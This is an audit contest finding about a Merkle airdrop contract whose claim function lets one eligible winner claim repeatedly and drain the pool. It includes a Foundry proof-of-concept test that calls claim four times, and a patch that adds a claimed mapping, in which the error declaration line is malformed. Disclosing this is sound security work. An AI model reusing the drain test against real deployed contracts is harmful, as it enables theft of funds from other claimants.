Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of access control for user who already claimed the reward

Summary

The current smart contract lacks appropriate access control for users claiming an airdrop. Consequently, a prize winner can exhaust the prize pool, preventing other users from claiming their prizes.

Vulnerability Details

The smart contract doesn't restrict prize winners who have already claimed their rewards from claiming again. If they're deemed eligible for a reward, these users can execute the MerkleAirdrop:: claim function repeatedly as long as they provide the correct address and the amount they're eligible to receive.

As a result, a single prize winner can deplete the prize pool by calling the MerkleAirdrop:: claim function four times. This would prevent other prize winners from claiming their prizes.

The following code, when added to the MerkleAirdropTest.t.sol file and run, demonstrates this issue.

Impact

A prize winner can deplete the prize pool by calling the MerkleAirdrop:: claim function four times, hence other prize winners won't be able to claim their prizes.

Proof of Code:

Copy the following code to the MerkleAirdropTest.t.sol file and run the test.

Code
function testDrainContract() public {
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
console.log(endingBalance);
assertEq(endingBalance, amountToCollect * 4);
}

Recommendations

Introduce access control mechanisms to prevent prize winners who have already claimed their prizes from claiming again.

+ error revert MerkleAirdrop__AlreadyClaimed();
+ mapping(address => bool) private claimed;
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount))) //q is this right?
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ if (claimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
emit Claimed(account, amount);
+ claimed[account] = true;
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.